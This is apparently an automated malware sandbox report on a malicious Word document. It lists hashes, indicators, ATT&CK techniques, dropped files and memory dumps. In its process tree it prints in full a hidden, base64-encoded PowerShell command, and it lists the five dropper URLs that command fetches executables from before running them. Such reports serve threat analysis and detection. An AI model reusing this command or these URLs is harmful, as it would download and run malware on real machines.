e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7

General

Target

e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7.doc
Size

200KB
MD5

cf81ff54490d637bfa7b0bca5d8a1c89
SHA1

724eff36db424daa8729d95b4b13573f4ce8bec2
SHA256

e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7
SHA512

458a2f1733998d6db2418278b16fd5a8e36b828f0e29501ea23c9c77566602c7727874340a614215871e2a18401881af4d112bb1b306ec746ca63d5eb6b8c5ae
SSDEEP

3072:+HP9UaqFh5Hr/SzFaSadGBrjC48+WZ/POhh+/JY9a1Zfx4rIqz8aFGcI6kGX:+HP+aqhSzGdD48+aPOngqzxGcI6kG

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://compworldinc.com/closed_731293_8C5UbKzD9nC/EeRWoAbaA/

exe.dropper

http://graphixagency.com/wp-cache/z40o2osj-6fzn-8077/

exe.dropper

http://hyderabadmoversandpackers.com/uh53e/CcTNon/

exe.dropper

http://landnewspal.com/8xohvc/UgDirz/

exe.dropper

http://freelancedigitales.com/keo/AZPQar/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3284	1380	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow	pid	Process
26	3284	Powershell.exe
31	3284	Powershell.exe
34	3284	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

Powershell.exe

pid	Process
3284	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid	Process
1852	WINWORD.EXE
1852	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid	Process
3284	Powershell.exe
3284	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description	pid	Process
Token: SeDebugPrivilege	3284	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid	Process
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	Process	procid_target
PID 1852 wrote to memory of 5012	1852	WINWORD.EXE	85
PID 1852 wrote to memory of 5012	1852	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:5012

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABDAHIAbwBrAHEAZgB0AHgAPQAnAFUAegBvAGEAaQByAGcAbQBvAGwAJwA7ACQARgBpAGEAbQBtAHoAagB5AHcAdQB2AHkAIAA9ACAAJwA3ADkAJwA7ACQAQwBoAHgAagB4AG0AZQBpAHEAcgA9ACcASABrAHAAbABnAGEAaQBnAG8AcgBtACcAOwAkAFoAZABvAHUAcQBxAHoAegB6AGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAaQBhAG0AbQB6AGoAeQB3AHUAdgB5ACsAJwAuAGUAeABlACcAOwAkAFEAZQBvAGkAagBzAHkAYwBmAG0APQAnAFcAdgBrAHgAZABlAGkAeQBuAGEAaABxACcAOwAkAFkAaABoAGwAZQBkAGQAbwB5AHAAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAEIAYwBMAGkAZQBuAFQAOwAkAFAAagB1AGUAcQBoAHEAZgA9ACcAaAB0AHQAcAA6AC8ALwBjAG8AbQBwAHcAbwByAGwAZABpAG4AYwAuAGMAbwBtAC8AYwBsAG8AcwBlAGQAXwA3ADMAMQAyADkAMwBfADgAQwA1AFUAYgBLAHoARAA5AG4AQwAvAEUAZQBSAFcAbwBBAGIAYQBBAC8AKgBoAHQAdABwADoALwAvAGcAcgBhAHAAaABpAHgAYQBnAGUAbgBjAHkALgBjAG8AbQAvAHcAcAAtAGMAYQBjAGgAZQAvAHoANAAwAG8AMgBvAHMAagAtADYAZgB6AG4ALQA4ADAANwA3AC8AKgBoAHQAdABwADoALwAvAGgAeQBkAGUAcgBhAGIAYQBkAG0AbwB2AGUAcgBzAGEAbgBkAHAAYQBjAGsAZQByAHMALgBjAG8AbQAvAHUAaAA1ADMAZQAvAEMAYwBUAE4AbwBuAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAGQAbgBlAHcAcwBwAGEAbAAuAGMAbwBtAC8AOAB4AG8AaAB2AGMALwBVAGcARABpAHIAegAvACoAaAB0AHQAcAA6AC8ALwBmAHIAZQBlAGwAYQBuAGMAZQBkAGkAZwBpAHQAYQBsAGUAcwAuAGMAbwBtAC8AawBlAG8ALwBBAFoAUABRAGEAcgAvACcALgAiAHMAcABsAGAAaQBUACIAKAAnACoAJwApADsAJABLAHQAdAB5AGwAdQBsAHoAaAA9ACcAWgBnAHoAcgBrAGMAeQBtAHMAawBlACcAOwBmAG8AcgBlAGEAYwBoACgAJABFAGcAaQBtAG8AdAB4AHQAIABpAG4AIAAkAFAAagB1AGUAcQBoAHEAZgApAHsAdAByAHkAewAkAFkAaABoAGwAZQBkAGQAbwB5AHAALgAiAEQAbwB3AE4AYABMAG8AYABBAGQAZgBJAGwARQAiACgAJABFAGcAaQBtAG8AdAB4AHQALAAgACQAWgBkAG8AdQBxAHEAegB6AHoAYwApADsAJABLAG4AZQBuAHYAcQB3AHgAaABjAD0AJwBJAGgAYQBpAGcAdwBvAGMAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFoAZABvAHUAcQBxAHoAegB6AGMAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADIAMwAyADIANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAdAAiACgAJABaAGQAbwB1AHEAcQB6AHoAegBjACkAOwAkAEgAYwB4AGoAZQBoAHgAZwB3AGsAPQAnAFEAeQBkAHIAbABzAHIAZQByAG0AYgB2AHgAJwA7AGIAcgBlAGEAawA7ACQATgBwAHYAYgBnAHAAdgBnAHQAcwA9ACcAQQBlAGIAaQB5AHQAYwByAGkAcwB4AHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwByAHYAYgBjAG0AegB2AGsAcQA9ACcASABpAHYAcwBrAHoAeQB5AHIAYQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E648DA51.wmf

Filesize
444B

MD5
20fcc9578dca6012111eb87b753a91af

SHA1
00e6ab1731ad8cd8d98975f6dbf24ed41d5f7e95

SHA256
e94a70a525c5179346d74b86e42f625aa1610dedd4cc8d1d08a2a4abb2abf669

SHA512
1ebe3afc0338a6b3256296c74c37d06055e87ea2c782fa8ad3fa4a33e33692527f80158988d4753ce0f263b0b52071f75a4efc31590bef2dfd5521c0ecbeac82

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDEEE9.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4jid44d.lak.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
823d843b4b1d9c04942babca55e4ced0

SHA1
0ec47659be597db8589835bcf2acd57064537a0d

SHA256
3e4413d78a98dfd31b2ceaf18e738fd6dd9423d71daea43d3462d2517ae4b593

SHA512
b8366c039cb5047659eec89d93297d1d86e5416654bce4f1ee909a5ab5950e1f115d85ddfaab2479d79cc2b0dc6aba702be39d949c157c2a20709902a6bda23e

Download Submit
memory/1852-5-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-8-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-1-0x00007FF9C32CD000-0x00007FF9C32CE000-memory.dmp

Filesize
4KB

Download
memory/1852-11-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-14-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-13-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-15-0x00007FF980CC0000-0x00007FF980CD0000-memory.dmp

Filesize
64KB

Download
memory/1852-12-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-10-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-9-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-16-0x00007FF980CC0000-0x00007FF980CD0000-memory.dmp

Filesize
64KB

Download
memory/1852-6-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-7-0x00007FF9832B0000-0x00007FF9832C0000-memory.dmp

Filesize
64KB

Download
memory/1852-2-0x00007FF9832B0000-0x00007FF9832C0000-memory.dmp

Filesize
64KB

Download
memory/1852-4-0x00007FF9832B0000-0x00007FF9832C0000-memory.dmp

Filesize
64KB

Download
memory/1852-0-0x00007FF9832B0000-0x00007FF9832C0000-memory.dmp

Filesize
64KB

Download
memory/1852-72-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-73-0x00007FF9C32CD000-0x00007FF9C32CE000-memory.dmp

Filesize
4KB

Download
memory/1852-74-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-75-0x00007FF9C3230000-0x00007FF9C3425000-memory.dmp

Filesize
2.0MB

Download
memory/1852-3-0x00007FF9832B0000-0x00007FF9832C0000-memory.dmp

Filesize
64KB

Download
memory/3284-65-0x000001D964840000-0x000001D964862000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads